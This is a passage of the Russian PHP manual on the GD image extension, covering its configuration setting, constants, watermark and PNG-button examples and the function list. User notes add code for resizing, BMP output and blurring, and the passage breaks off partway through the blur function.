Поведение этих функций зависит от установок в php.ini.

Image Опции настройки
Имя | По умолчанию | Место изменения | Список изменений
gd.jpeg_ignore_warning | "1" | PHP_INI_ALL |
Для подробного описания констант PHP_INI_*, обратитесь к разделу Где могут быть установлены параметры конфигурации.

Краткое разъяснение конфигурационных директив.

gd.jpeg_ignore_warning bool

Игнорировать предупреждения(но не ошибки), сгенерированные libjpeg(-turbo).

Список изменений для gd.jpeg_ignore_warning
Версия | Описание
7.1.0 | Значение gd.jpeg_ignore_warning по умолчанию изменено с 0 на 1..

Смотрите также директивы настройки exif.

Внимание

Функции для работы с изображениями потребляют много памяти. Убедитесь, что значение memory_limit достаточно велико, если используете штатную библиотеку GD.

User Contributed Notes

There are no user contributed notes for this page.


Типы ресурсов

Модуль определяет следующие типы ресурсов:

Список типов ресурсов в GD
Имя | Описание | Замечания
gd | Изображение, используется такими функциями как imagecreatefrompng() | До PHP 8.0.0
gd font | Ресурс шрифта, создаваемый функцией imageloadfont() | До PHP 8.1.0

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

Перечисленные ниже константы определены данным модулем и доступны либо в сборках PHP с поддержкой этого модуля, либо когда модуль динамически загружен во время выполнения.

GD_VERSION (string)
Версия GD, с которой был скомпилирован PHP.
GD_MAJOR_VERSION (int)
Полнофункциональная версия GD, с которой был скомпилирован PHP.
GD_MINOR_VERSION (int)
Сокращённая версия GD, с которой был скомпилирован PHP.
GD_RELEASE_VERSION (int)
Рабочая версия GD, с которой был скомпилирован PHP.
GD_EXTRA_VERSION (string)
Дополнительная (beta/rc..) версия GD, с которой был скомпилирован PHP.
GD_BUNDLED (int)
Если используется распространяемая с PHP версия GD, константа принимает значение 1, в противном случае 0.
IMG_AVIF (int)
Используется в качестве возвращаемого значения функции imagetypes(). (Доступно, начиная с PHP 8.1.0)
IMG_BMP (int)
Используется в качестве возвращаемого значения функции imagetypes().
IMG_GIF (int)
Используется в качестве возвращаемого значения функции imagetypes().
IMG_JPG (int)
Используется в качестве возвращаемого значения функции imagetypes().
IMG_JPEG (int)
Используется в качестве возвращаемого значения функции imagetypes().

Замечание:

Эта константа имеет то же значение, что и IMG_JPG

IMG_PNG (int)
Используется в качестве возвращаемого значения функции imagetypes().
IMG_WBMP (int)
Используется в качестве возвращаемого значения функции imagetypes().
IMG_XPM (int)
Используется в качестве возвращаемого значения функции imagetypes().
IMG_WEBP (int)
Используется в качестве возвращаемого значения функции imagetypes(). (Доступно с PHP 7.0.10)
IMG_WEBP_LOSSLESS (int)
(Доступно, начиная с PHP 8.1.0)
IMG_COLOR_TILED (int)
Специальный вариант цвета, который может быть использован вместо определённого с помощью imagecolorallocate() и imagecolorallocatealpha().
IMG_COLOR_STYLED (int)
Специальный вариант цвета, который может быть использован вместо определённого с помощью imagecolorallocate() и imagecolorallocatealpha().
IMG_COLOR_BRUSHED (int)
Специальный вариант цвета, который может быть использован вместо определённого с помощью imagecolorallocate() и imagecolorallocatealpha().
IMG_COLOR_STYLEDBRUSHED (int)
Специальный вариант цвета, который может быть использован вместо определённого с помощью imagecolorallocate() и imagecolorallocatealpha().
IMG_COLOR_TRANSPARENT (int)
Специальный вариант цвета, который может быть использован вместо определённого с помощью imagecolorallocate() и imagecolorallocatealpha().
IMG_AFFINE_TRANSLATE (int)
Константа типа аффинного преобразования, используется с функцией imageaffinematrixget() .
IMG_AFFINE_SCALE (int)
Константа типа аффинного преобразования, используется с функцией imageaffinematrixget() .
IMG_AFFINE_ROTATE (int)
Константа типа аффинного преобразования, используется с функцией imageaffinematrixget() .
IMG_AFFINE_SHEAR_HORIZONTAL (int)
Константа типа аффинного преобразования, используется с функцией imageaffinematrixget() .
IMG_AFFINE_SHEAR_VERTICAL (int)
Константа типа аффинного преобразования, используется с функцией imageaffinematrixget() .
IMG_ARC_ROUNDED (int)
Константа стиля, используется с функцией imagefilledarc().

Замечание:

Эта константа имеет то же значение, что и IMG_ARC_PIE

IMG_ARC_PIE (int)
Константа стиля, используется с функцией imagefilledarc().
IMG_ARC_CHORD (int)
Константа стиля, используется с функцией imagefilledarc().
IMG_ARC_NOFILL (int)
Константа стиля, используется с функцией imagefilledarc().
IMG_ARC_EDGED (int)
Константа стиля, используется с функцией imagefilledarc().
IMG_GD2_RAW (int)
Константа типа, используется с функцией imagegd2().
IMG_GD2_COMPRESSED (int)
Константа типа, используется с функцией imagegd2().
IMG_EFFECT_REPLACE (int)
Эффект альфа-смешения, используется с функцией imagelayereffect().
IMG_EFFECT_ALPHABLEND (int)
Эффект альфа-смешения, используется с функцией imagelayereffect().
IMG_EFFECT_NORMAL (int)
Эффект альфа-смешения, используется с функцией imagelayereffect().
IMG_EFFECT_OVERLAY (int)
Эффект альфа-смешения, используется с функцией imagelayereffect().
IMG_EFFECT_MULTIPLY (int)
Эффект альфа-смешения, используется с функцией imagelayereffect().
IMG_FILTER_NEGATE (int)
Специальный фильтр GD, используется с функцией imagefilter().
IMG_FILTER_GRAYSCALE (int)
Специальный фильтр GD, используется с функцией imagefilter().
IMG_FILTER_BRIGHTNESS (int)
Специальный фильтр GD, используется с функцией imagefilter().
IMG_FILTER_CONTRAST (int)
Специальный фильтр GD, используется с функцией imagefilter().
IMG_FILTER_COLORIZE (int)
Специальный фильтр GD, используется с функцией imagefilter().
IMG_FILTER_EDGEDETECT (int)
Специальный фильтр GD, используется с функцией imagefilter().
IMG_FILTER_GAUSSIAN_BLUR (int)
Специальный фильтр GD, используется с функцией imagefilter().
IMG_FILTER_SELECTIVE_BLUR (int)
Специальный фильтр GD, используется с функцией imagefilter().
IMG_FILTER_EMBOSS (int)
Специальный фильтр GD, используется с функцией imagefilter().
IMG_FILTER_MEAN_REMOVAL (int)
Специальный фильтр GD, используется с функцией imagefilter().
IMG_FILTER_SMOOTH (int)
Специальный фильтр GD, используется с функцией imagefilter().
IMG_FILTER_PIXELATE (int)
Специальный фильтр GD, используется с функцией imagefilter().
IMG_FILTER_SCATTER (int)
Специальный фильтр GD, используется с функцией imagefilter(). (Доступна с PHP 7.4.0)
IMAGETYPE_GIF (int)
Константа типа изображения, используется с функциями image_type_to_mime_type() и image_type_to_extension().
IMAGETYPE_JPEG (int)
Константа типа изображения, используется с функциями image_type_to_mime_type() и image_type_to_extension().
IMAGETYPE_JPEG2000 (int)
Константа типа изображения, используется с функциями image_type_to_mime_type() и image_type_to_extension().
IMAGETYPE_PNG (int)
Константа типа изображения, используется с функциями image_type_to_mime_type() и image_type_to_extension().
IMAGETYPE_SWF (int)
Константа типа изображения, используется с функциями image_type_to_mime_type() и image_type_to_extension().
IMAGETYPE_PSD (int)
Константа типа изображения, используется с функциями image_type_to_mime_type() и image_type_to_extension().
IMAGETYPE_BMP (int)
Константа типа изображения, используется с функциями image_type_to_mime_type() и image_type_to_extension().
IMAGETYPE_WBMP (int)
Константа типа изображения, используется с функциями image_type_to_mime_type() и image_type_to_extension().
IMAGETYPE_XBM (int)
Константа типа изображения, используется с функциями image_type_to_mime_type() и image_type_to_extension().
IMAGETYPE_TIFF_II (int)
Константа типа изображения, используется с функциями image_type_to_mime_type() и image_type_to_extension().
IMAGETYPE_TIFF_MM (int)
Константа типа изображения, используется с функциями image_type_to_mime_type() и image_type_to_extension().
IMAGETYPE_IFF (int)
Константа типа изображения, используется с функциями image_type_to_mime_type() и image_type_to_extension().
IMAGETYPE_JB2 (int)
Константа типа изображения, используется с функциями image_type_to_mime_type() и image_type_to_extension().
IMAGETYPE_JPC (int)
Константа типа изображения, используется с функциями image_type_to_mime_type() и image_type_to_extension().
IMAGETYPE_JP2 (int)
Константа типа изображения, используется с функциями image_type_to_mime_type() и image_type_to_extension().
IMAGETYPE_JPX (int)
Константа типа изображения, используется с функциями image_type_to_mime_type() и image_type_to_extension().
IMAGETYPE_SWC (int)
Константа типа изображения, используется с функциями image_type_to_mime_type() и image_type_to_extension().
IMAGETYPE_ICO (int)
Константа типа изображения, используется с функциями image_type_to_mime_type() и image_type_to_extension().
IMAGETYPE_WEBP (int)
Константа типа изображения, используется с функциями image_type_to_mime_type() и image_type_to_extension(). (Доступно, начиная с PHP 7.1.0)
IMAGETYPE_AVIF (int)
Константа типа изображения, используется с функциями image_type_to_mime_type() и image_type_to_extension(). (Доступно, начиная с PHP 8.1.0)
PNG_NO_FILTER (int)
Специальный фильтр PNG filter, используется с функцией imagepng().
PNG_FILTER_NONE (int)
Специальный фильтр PNG filter, используется с функцией imagepng().
PNG_FILTER_SUB (int)
Специальный фильтр PNG filter, используется с функцией imagepng().
PNG_FILTER_UP (int)
Специальный фильтр PNG filter, используется с функцией imagepng().
PNG_FILTER_AVG (int)
Специальный фильтр PNG filter, используется с функцией imagepng().
PNG_FILTER_PAETH (int)
Специальный фильтр PNG filter, используется с функцией imagepng().
PNG_ALL_FILTERS (int)
Специальный фильтр PNG filter, используется с функцией imagepng().
IMG_FLIP_VERTICAL (int)
Используется с функцией imageflip(), доступна с PHP 5.5.0.
IMG_FLIP_HORIZONTAL (int)
Используется с функцией imageflip(), доступна с PHP 5.5.0.
IMG_FLIP_BOTH (int)
Используется с функцией imageflip(), доступна с PHP 5.5.0.
IMG_BELL (int)
Используется с функцией imagesetinterpolation(), доступна с PHP 5.5.0.
IMG_BESSEL (int)
Используется с функцией imagesetinterpolation(), доступна с PHP 5.5.0.
IMG_BILINEAR_FIXED (int)
Используется с функцией imagesetinterpolation(), доступна с PHP 5.5.0.
IMG_BICUBIC_FIXED (int)
Используется с функцией imagesetinterpolation(), доступна с PHP 5.5.0.
IMG_BICUBIC (int)
Используется с функцией imagesetinterpolation(), доступна с PHP 5.5.0.
IMG_BLACKMAN (int)
Используется с функцией imagesetinterpolation(), доступна с PHP 5.5.0.
IMG_BOX (int)
Используется с функцией imagesetinterpolation(), доступна с PHP 5.5.0.
IMG_BSPLINE (int)
Используется с функцией imagesetinterpolation(), доступна с PHP 5.5.0.
IMG_CATMULLROM (int)
Используется с функцией imagesetinterpolation(), доступна с PHP 5.5.0.
IMG_GAUSSIAN (int)
Используется с функцией imagesetinterpolation(), доступна с PHP 5.5.0.
IMG_GENERALIZED_CUBIC (int)
Используется с функцией imagesetinterpolation(), доступна с PHP 5.5.0.
IMG_HERMITE (int)
Используется с функцией imagesetinterpolation(), доступна с PHP 5.5.0.
IMG_HAMMING (int)
Используется с функцией imagesetinterpolation(), доступна с PHP 5.5.0.
IMG_HANNING (int)
Используется с функцией imagesetinterpolation(), доступна с PHP 5.5.0.
IMG_MITCHELL (int)
Используется с функцией imagesetinterpolation(), доступна с PHP 5.5.0.
IMG_POWER (int)
Используется с функцией imagesetinterpolation(), доступна с PHP 5.5.0.
IMG_QUADRATIC (int)
Используется с функцией imagesetinterpolation(), доступна с PHP 5.5.0.
IMG_SINC (int)
Используется с функцией imagesetinterpolation(), доступна с PHP 5.5.0.
IMG_NEAREST_NEIGHBOUR (int)
Используется с функцией imagesetinterpolation(), доступна с PHP 5.5.0.
IMG_WEIGHTED4 (int)
Используется с функцией imagesetinterpolation(), доступна с PHP 5.5.0.
IMG_TRIANGLE (int)
Используется с функцией imagesetinterpolation(), доступна с PHP 5.5.0.

User Contributed Notes

webmaster at alexventure dot com 08-Aug-2011 06:25
In case anyone is wondering what these filters are for, have a look at the W3C's specification:

http://www.w3.org/TR/PNG-Filters.html


Примеры

Содержание

  • Создание PNG средствами PHP
  • Добавление водяных знаков на изображения с помощью альфа-каналов
  • Использование imagecopymerge создать полупрозрачный водяной знак

User Contributed Notes

There are no user contributed notes for this page.


Создание PNG средствами PHP

Пример #1 Создание PNG средствами PHP

<?php

header("Content-type: image/png");
$string = $_GET['text'];
$im = imagecreatefrompng("images/button1.png");
$orange = imagecolorallocate($im, 220, 210, 60);
$px = (imagesx($im) - 7.5 * strlen($string)) / 2;
imagestring($im, 3, $px, 9, $string, $orange);
imagepng($im);
imagedestroy($im);

?>
Этот пример можно было бы вызвать на странице с тегом: <img src="button.php?text=text">. Приведённый выше скрипт button.php возьмёт строку "text" и наложит её поверх базового изображения, которое является, в данном случае "images/button1.png" и выведет конечное изображение. Это очень удобный способ, чтобы избежать необходимости создания новой кнопки всякий раз, когда вы хотите изменить текст кнопки. С помощью этого метода она генерируются динамически.

User Contributed Notes

viishalkumarsahu at gmail dot com 16-Dec-2016 09:24
Function to create random png images when requested for example...
<img src="create_image.php?s=008080_F_1000_200&t=Sample%20Image%20Drawn%20By%20PHP" alt="GD Library Example Image" >

here is create_image.php
<?php
$setting = isset($_GET['s']) ? $_GET['s'] : "FFF_111_100_100";
$setting = explode("_",$setting );
$img = array();

switch ($n = count($setting)) {
    case $n > 4 :
    case 3:
        $setting[3] = $setting[2];
    case 4:
        $img['width'] = (int) $setting[2];
        $img['height'] = (int) $setting[3];
    case 2:
        $img['color'] = $setting[1];
        $img['background'] = $setting[0];
        break;
    default:
        list($img['background'],$img['color'],$img['width'],$img['height']) = array('F','0',100,100);
        break;
}

$background = explode(",",hex2rgb($img['background']));
$color = explode(",",hex2rgb($img['color']));
$width = empty($img['width']) ? 100 : $img['width'];
$height = empty($img['height']) ? 100 : $img['height'];
$string = (string) isset($_GET['t']) ? $_GET['t'] : $width ."x". $height;

header("Content-Type: image/png");
$image = @imagecreate($width, $height)
    or die("Cannot Initialize new GD image stream");

$background_color = imagecolorallocate($image, $background[0], $background[1], $background[2]);
$text_color = imagecolorallocate($image, $color[0], $color[1], $color[2]);

imagestring($image, 5, 5, 5, $string, $text_color);
imagepng($image);
imagedestroy($image);

function hex2rgb($hex) {
    // Copied
   $hex = str_replace("#", "", $hex);

   switch (strlen($hex)) {
       case 1:
           $hex = $hex.$hex;
       case 2:
          $r = hexdec($hex);
          $g = hexdec($hex);
          $b = hexdec($hex);
           break;

       case 3:
          $r = hexdec(substr($hex,0,1).substr($hex,0,1));
          $g = hexdec(substr($hex,1,1).substr($hex,1,1));
          $b = hexdec(substr($hex,2,1).substr($hex,2,1));
           break;

       default:
          $r = hexdec(substr($hex,0,2));
          $g = hexdec(substr($hex,2,2));
          $b = hexdec(substr($hex,4,2));
           break;
   }

   $rgb = array($r, $g, $b);
   return implode(",", $rgb);
}


Добавление водяных знаков на изображения с помощью альфа-каналов

Пример #1 Добавление водяных знаков на изображения с помощью альфа-каналов

<?php
// Загрузка штампа и фото, для которого применяется водяной знак (называется штамп или печать)
$stamp = imagecreatefrompng('stamp.png');
$im = imagecreatefromjpeg('photo.jpeg');

// Установка полей для штампа и получение высоты/ширины штампа
$marge_right = 10;
$marge_bottom = 10;
$sx = imagesx($stamp);
$sy = imagesy($stamp);

// Копирование изображения штампа на фотографию с помощью смещения края
// и ширины фотографии для расчёта позиционирования штампа.
imagecopy($im, $stamp, imagesx($im) - $sx - $marge_right, imagesy($im) - $sy - $marge_bottom, 0, 0, imagesx($stamp), imagesy($stamp));

// Вывод и освобождение памяти
header('Content-type: image/png');
imagepng($im);
imagedestroy($im);
?>
Добавление водяных знаков на изображения с помощью альфа-каналов
Этот пример является простым способом добавить водяные знаки и штампы на фотографии и изображения, защищённые авторским правом. Обратите внимание, что наличие альфа-канала в изображении штампа, как текст сглаживается. Это сохранилось во время копирования.

User Contributed Notes

There are no user contributed notes for this page.


Использование imagecopymerge создать полупрозрачный водяной знак

  • « Добавление водяных знаков на изображения с помощью альфа-каналов
  • Функции GD и функции для работы с изображениями »
  • PHP Manual
  • Примеры
  • Использование imagecopymerge создать полупрозрачный водяной знак

Использование imagecopymerge() создать полупрозрачный водяной знак

Пример #1 Использование imagecopymerge() создать полупрозрачный водяной знак

<?php
// Загрузка штампа и фото, для которого применяется водяной знак (называется штамп или печать)
$im = imagecreatefromjpeg('photo.jpeg');

// Сначала создаём наше изображение штампа вручную с помощью GD
$stamp = imagecreatetruecolor(100, 70);
imagefilledrectangle($stamp, 0, 0, 99, 69, 0x0000FF);
imagefilledrectangle($stamp, 9, 9, 90, 60, 0xFFFFFF);
imagestring($stamp, 5, 20, 20, 'libGD', 0x0000FF);
imagestring($stamp, 3, 20, 40, '(c) 2007-9', 0x0000FF);

// Установка полей для штампа и получение высоты/ширины штампа
$marge_right = 10;
$marge_bottom = 10;
$sx = imagesx($stamp);
$sy = imagesy($stamp);

// Слияние штампа с фотографией. Прозрачность 50%
imagecopymerge($im, $stamp, imagesx($im) - $sx - $marge_right, imagesy($im) - $sy - $marge_bottom, 0, 0, imagesx($stamp), imagesy($stamp), 50);

// Сохранение фотографии в файл и освобождение памяти
imagepng($im, 'photo_stamp.png');
imagedestroy($im);

?>
Использование imagecopymerge() для создания полупрозрачного водяного знака
В этом примере используется imagecopymerge() для объединения штампа с нашим исходным изображением. С помощью этого мы можем установить прозрачность нашего штампа - в нашем примере мы установили его на 50% непрозрачности (opacity). На практике это было бы полезным для защиты авторских прав, полупрозрачные водяные знаки трудно удалить и позволяют зрителям увидеть изображение.

User Contributed Notes

There are no user contributed notes for this page.


Функции GD и функции для работы с изображениями

Содержание

  • gd_info — Вывод информации о текущей установленной GD библиотеке
  • getimagesize — Получение размера изображения
  • getimagesizefromstring — Получение размера изображения из строки данных
  • image_type_to_extension — Получение расширения файла для типа изображения
  • image_type_to_mime_type — Получение Mime-типа для типа изображения, возвращаемого функциями getimagesize, exif_read_data, exif_thumbnail, exif_imagetype
  • image2wbmp — Выводит изображение в браузер или пишет в файл
  • imageaffine — Вернуть изображение, содержащее аффинно-преобразованное изображение src, используя дополнительную область ограничения
  • imageaffinematrixconcat — Конкатенирует две аффинные матрицы преобразования
  • imageaffinematrixget — Получает матрицу аффинного преобразования
  • imagealphablending — Задание режима сопряжения цветов для изображения
  • imageantialias — Требуется ли применять функции сглаживания или нет
  • imagearc — Рисование дуги
  • imageavif — Выводит изображение в браузер или пишет в файл
  • imagebmp — Вывести BMP-изображение в браузер или файл
  • imagechar — Рисование символа по горизонтали
  • imagecharup — Рисование символа вертикально
  • imagecolorallocate — Создание цвета для изображения
  • imagecolorallocatealpha — Создание цвета для изображения
  • imagecolorat — Получение индекса цвета пиксела
  • imagecolorclosest — Получение индекса цвета ближайшего к заданному
  • imagecolorclosestalpha — Получение индекса цвета ближайшего к заданному с учётом прозрачности
  • imagecolorclosesthwb — Получение индекса цвета, имеющего заданный тон, белизну и затемнение
  • imagecolordeallocate — Разрыв ассоциации переменной с цветом для заданного изображения
  • imagecolorexact — Получение индекса заданного цвета
  • imagecolorexactalpha — Получение индекса заданного цвета и альфа компонента
  • imagecolormatch — Делает цвета палитровой версии изображения более соответствующими truecolor версии
  • imagecolorresolve — Получает идентификатор конкретного цвета или его ближайший аналог
  • imagecolorresolvealpha — Получает идентификатор конкретного цвета и альфа компонента или его ближайший аналог
  • imagecolorset — Установка набора цветов для заданного индекса палитры
  • imagecolorsforindex — Получение цветов, соответствующих индексу
  • imagecolorstotal — Определение количества цветов в палитре изображения
  • imagecolortransparent — Определяет цвет как прозрачный
  • imageconvolution — Наложение искривляющей матрицы 3х3, используя коэффициент и смещение
  • imagecopy — Копирование части изображения
  • imagecopymerge — Копирует часть изображения с наложением
  • imagecopymergegray — Копирует часть изображения с наложением в градациях серого
  • imagecopyresampled — Копирование и изменение размера изображения с ресемплированием
  • imagecopyresized — Копирование и изменение размера части изображения
  • imagecreate — Создание нового палитрового изображения
  • imagecreatefromavif — Создаёт новое изображение из файла или URL
  • imagecreatefrombmp — Создаёт новое изображение из файла или URL
  • imagecreatefromgd2 — Создание нового изображения на основе GD2 или URL
  • imagecreatefromgd2part — Создание нового изображения на основе части GD2 файла или URL
  • imagecreatefromgd — Создание нового изображения на основе GD файла или URL
  • imagecreatefromgif — Создаёт новое изображение из файла или URL
  • imagecreatefromjpeg — Создаёт новое изображение из файла или URL
  • imagecreatefrompng — Создаёт новое изображение из файла или URL
  • imagecreatefromstring — Создание нового изображения из потока представленного строкой
  • imagecreatefromtga — Создаёт новое изображение из файла или URL
  • imagecreatefromwbmp — Создаёт новое изображение из файла или URL
  • imagecreatefromwebp — Создаёт новое изображение из файла или URL
  • imagecreatefromxbm — Создаёт новое изображение из файла или URL
  • imagecreatefromxpm — Создаёт новое изображение из файла или URL
  • imagecreatetruecolor — Создание нового полноцветного изображения
  • imagecrop — Обрезать изображение до заданного прямоугольника
  • imagecropauto — Обрезает изображение автоматически, используя один из доступных режимов
  • imagedashedline — Рисование пунктирной линии
  • imagedestroy — Уничтожение изображения
  • imageellipse — Рисование эллипса
  • imagefill — Заливка
  • imagefilledarc — Рисование и заливка дуги
  • imagefilledellipse — Рисование закрашенного эллипса
  • imagefilledpolygon — Рисование закрашенного многоугольника
  • imagefilledrectangle — Рисование закрашенного прямоугольника
  • imagefilltoborder — Заливка цветом
  • imagefilter — Применяет фильтр к изображению
  • imageflip — Переворачивает изображение, используя выбранный режим
  • imagefontheight — Получение высоты шрифта
  • imagefontwidth — Получение ширины шрифта
  • imageftbbox — Определение границ текста выводимого шрифтом freetype2
  • imagefttext — Нанесение текста на изображение, используя шрифты FreeType 2
  • imagegammacorrect — Применение гамма коррекции к GD изображению
  • imagegd2 — Вывод GD2 изображения в браузер или файл
  • imagegd — Вывод GD-изображения в браузер или в файл
  • imagegetclip — Получить отсекающий прямоугольник
  • imagegetinterpolation — Получает метод интерполяции
  • imagegif — Выводит изображение в браузер или пишет в файл
  • imagegrabscreen — Захватывает изображение с экрана
  • imagegrabwindow — Захватывает изображение окна
  • imageinterlace — Включение или выключение интерлейсинга
  • imageistruecolor — Определяет, является ли изображение полноцветным
  • imagejpeg — Выводит изображение в браузер или пишет в файл
  • imagelayereffect — Установка флага альфа сопряжения для использования эффектов наложения изображений
  • imageline — Рисование линии
  • imageloadfont — Загрузка шрифта
  • imageopenpolygon — Рисует открытый полигон
  • imagepalettecopy — Копирование палитры из одного изображения в другое
  • imagepalettetotruecolor — Преобразует изображение на основе палитры в настоящий цвет
  • imagepng — Вывод PNG изображения в браузер или файл
  • imagepolygon — Рисование многоугольника
  • imagerectangle — Рисование прямоугольника
  • imageresolution — Получить или установить разрешение изображения
  • imagerotate — Поворот изображения с заданным углом
  • imagesavealpha — Сохранять ли полную информацию альфа-канала при сохранении изображений
  • imagescale — Масштабировать изображение по заданной ширине и высоте
  • imagesetbrush — Установка изображения (кисти), посредством которого будут рисоваться линии
  • imagesetclip — Установите прямоугольник ограничения
  • imagesetinterpolation — Устанавливает метод интерполяции
  • imagesetpixel — Рисование точки
  • imagesetstyle — Установка стиля рисования линий
  • imagesetthickness — Установка толщины линий
  • imagesettile — Установка изображения, которое будет использовано в качестве элемента мозаичной заливки
  • imagestring — Рисование строки текста горизонтально
  • imagestringup — Рисование строки текста вертикально
  • imagesx — Получение ширины изображения
  • imagesy — Получение высоты изображения
  • imagetruecolortopalette — Преобразование полноцветного изображения в палитровое
  • imagettfbbox — Получение параметров рамки обрамляющей текст написанный TrueType шрифтом
  • imagettftext — Рисование текста на изображении шрифтом TrueType
  • imagetypes — Возвращает список типов изображений, поддерживаемых PHP сборкой
  • imagewbmp — Выводит изображение в браузер или пишет в файл
  • imagewebp — Вывод изображения WebP в браузер или файл
  • imagexbm — Вывод XBM изображения в браузер или файл
  • iptcembed — Встраивание двоичных IPTC данных в JPEG изображение
  • iptcparse — Разбор двоичных IPTC данных на отдельные теги
  • jpeg2wbmp — Конвертирует изображение из формата JPEG в WBMP
  • png2wbmp — Преобразование PNG файла в WBMP

User Contributed Notes

delabahan at gmail dot com 24-Nov-2016 05:44
This is an example of get high resolution images.

<?php
 /**
 * Class name      : resizeImage
 * Created by   : wang
 * Description   : This class is to resize the image from original size to new size
 */
class resizeImage
{
     /**
     * Function name : resize_img
     * Description   : This function is to resize image
     * @param          : $origimg variable is the original image
     * @param          : $newimg variable is the new image
     * @param          : $w variable is the width of image
     * @param          : $f variable is the height of image
     */
    public  function resize_img($origimg,$newimg,$w,$h){
        $info = getimagesize($origimg);
        $mime   = $info['mime'];

        // Make sure that the requested file is actually an image
        if(substr($mime, 0, 6) != 'image/')
        {
            header('HTTP/1.1 400 Bad Request');
            return 'Error: requested file is not an accepted type: ' .$origimg;
            exit();
        }

        // Check they extention of image
        $extension = image_type_to_extension($info[2]);
        if(strtolower($extension) == '.png'){
            $img = $this->resize_imagepng($origimg,$w, $h);
            imagepng($img,$newimg);
            imagedestroy($img);
        }elseif(strtolower($extension) == '.jpeg'){
            $img = $this->resize_imagejpeg($origimg, $w, $h);
            imagejpeg($img, $newimg);
            imagedestroy($img);
        }elseif(strtolower($extension == '.gif')){
            $img = $this->resize_imagegif($origimg, $w, $h);
            imagegif($img,$newimg);
            imagedestroy($img);
        }

    }
     /**
     * End function name : resize_img
     */

     /**
     * Function name : resize_imagepng
     * Description   : This function is to resize png image
     * @param          : $file variable is the original image
     * @param          : $w variable is the width of image
     * @param          : $f variable is the height of image
     */
    private function resize_imagepng($file, $w, $h) {
       list($width, $height) = getimagesize($file);
       $src = imagecreatefrompng($file);
       $dst = imagecreatetruecolor($w, $h);
       imagecopyresampled($dst, $src, 0, 0, 0, 0, $w, $h, $width, $height);
       return $dst;
    }
     /**
     * End function name : resize_imagepng
     */

     /**
     * Function name : resize_imagejpeg
     * Description   : This function is to resize jpeg image
     * @param          : $file variable is the original image
     * @param          : $w variable is the width of image
     * @param          : $f variable is the height of image
     */
    private function resize_imagejpeg($file, $w, $h) {
       list($width, $height) = getimagesize($file);
       $src = imagecreatefromjpeg($file);
       $dst = imagecreatetruecolor($w, $h);
       imagecopyresampled($dst, $src, 0, 0, 0, 0, $w, $h, $width, $height);
       return $dst;
    }
     /**
     * End function name : resize_imagejpeg
     */

     /**
     * Function name : resize_imagegif
     * Description   : This function is to resize gif image
     * @param          : $file variable is the original image
     * @param          : $w variable is the width of image
     * @param          : $f variable is the height of image
     */
    private function resize_imagegif($file, $w, $h) {
       list($width, $height) = getimagesize($file);
       $src = imagecreatefromgif($file);
       $dst = imagecreatetruecolor($w, $h);
       imagecopyresampled($dst, $src, 0, 0, 0, 0, $w, $h, $width, $height);
       return $dst;
    }
     /**
     * End function name : resize_imagegif
     */
}
/**
* End class name : resizeImage
*/
?>
mpyw 10-Nov-2016 08:45
This is an example of black-and-white imagebmp() implementation.

<?php

/**
 * Output a black-and-white BMP image to either the browser or a file.
 *
 * @param resource $image
 *            An image resource, returned by one of the image creation functions,
 *            such as imagecreatetruecolor().
 *
 * @param string|null $to
 *            The path or an open stream resource
 *            (which is automatically being closed after this function returns)
 *            to save the file to.
 *            If not set or NULL, the raw image stream will be outputted directly.
 *
 * @param float $threshold
 *            The number in the range of 0.0 to 1.0.
 *            Brighter for larger, or darker for smaller.
 *
 * @return bool Returns TRUE on success or FALSE on failure.
 *
 */
function imagebwbmp($image, $to = null, $threshold = 0.5)
{
    if (func_num_args() < 1) {
        $fmt = "imagebwbmp() expects a least 1 parameters, %d given";
        trigger_error(sprintf($fmt, func_num_args()), E_USER_WARNING);
        return;
    }
    if (!is_resource($image)) {
        $fmt = "imagebwbmp() expects parameter 1 to be resource, %s given";
        trigger_error(sprintf($fmt, gettype($image)), E_USER_WARNING);
        return;
    }
    if (!is_numeric($threshold)) {
        $fmt = "imagebwbmp() expects parameter 3 to be float, %s given";
        trigger_error(sprintf($fmt, gettype($threshold)), E_USER_WARNING);
        return;
    }

    if (get_resource_type($image) !== 'gd') {
        $msg = "imagebwbmp(): supplied resource is not a valid gd resource";
        trigger_error($msg, E_USER_WARNING);
        return false;
    }
    switch (true) {
        case $to === null:
            break;
        case is_resource($to) && get_resource_type($to) === 'stream':
        case is_string($to) && $to = fopen($to, 'wb'):
            if (preg_match('/[waxc+]/', stream_get_meta_data($to)['mode'])) {
                break;
            }
        default:
            $msg = "imagebwbmp(): Invalid 2nd parameter, it must a writable filename or a writable stream";
            trigger_error($msg, E_USER_WARNING);
            return false;
    }

    if ($to === null) {
        $to = fopen('php://output', 'wb');
    }

    $biWidth = imagesx($image);
    $biHeight = imagesy($image);
    $biSizeImage = ((int)ceil($biWidth / 32) * 32 / 8 * $biHeight);
    $bfOffBits = 54 + 4 * 2; // Use two colors (black and white)
    $bfSize = $bfOffBits + $biSizeImage;

    fwrite($to, 'BM');
    fwrite($to, pack('VvvV', $bfSize, 0, 0, $bfOffBits));
    fwrite($to, pack('VVVvvVVVVVV', 40, $biWidth, $biHeight, 1, 1, 0, $biSizeImage, 0, 0, 0, 0));
    fwrite($to, "\xff\xff\xff\x00"); // white
    fwrite($to, "\x00\x00\x00\x00"); // black

    for ($y = $biHeight - 1; $y >= 0; --$y) {
        $byte = 0;
        for ($x = 0; $x < $biWidth; ++$x) {
            $rgb = imagecolorsforindex($image, imagecolorat($image, $x, $y));
            $value = (0.299 * $rgb['red'] + 0.587 * $rgb['green'] + 0.114 * $rgb['blue']) / 0xff;
            $color = (int)($value > $threshold);
            $byte = ($byte << 1) | $color;
            if ($x % 8 === 7) {
                fwrite($to, pack('C', $byte));
                $byte = 0;
            }
        }
        if ($x % 8) {
            fwrite($to, pack('C', $byte << (8 - $x % 8)));
        }
        if ($x % 32) {
            fwrite($to, str_repeat("\x00", (int)((32 - $x % 32) / 8)));
        }
    }

    return true;
}
?>
ingo at jache dot de 14-Oct-2011 03:16
I know this might look somewhat superfluous to others, but i once came across a situation where i needed a *strong* blur on an image without having ImageMagick installed. Executing the convolution-filter several times on the same image is awfully slow and still doesn't give a good blur.

The function below accepts a truecolor-image and a blur-factor between 0.0 and 1.0. Beware: It's still quite slow.

<?php

    function blurImage($srcimg,$blur)
    {
        $blur = $blur*$blur;
        $blur = max(0,min(1,$blur));

        $srcw = imagesx($srcimg);
        $srch = imagesy($srcimg);

        $dstimg = imagecreatetruecolor($srcw,$srch);

        $f1a = $blur;
        $f1b = 1.0 - $blur;

        $cr = 0; $cg = 0; $cb = 0;
        $nr = 0; $ng = 0; $nb = 0;

        $rgb = imagecolorat($srcimg,0,0);
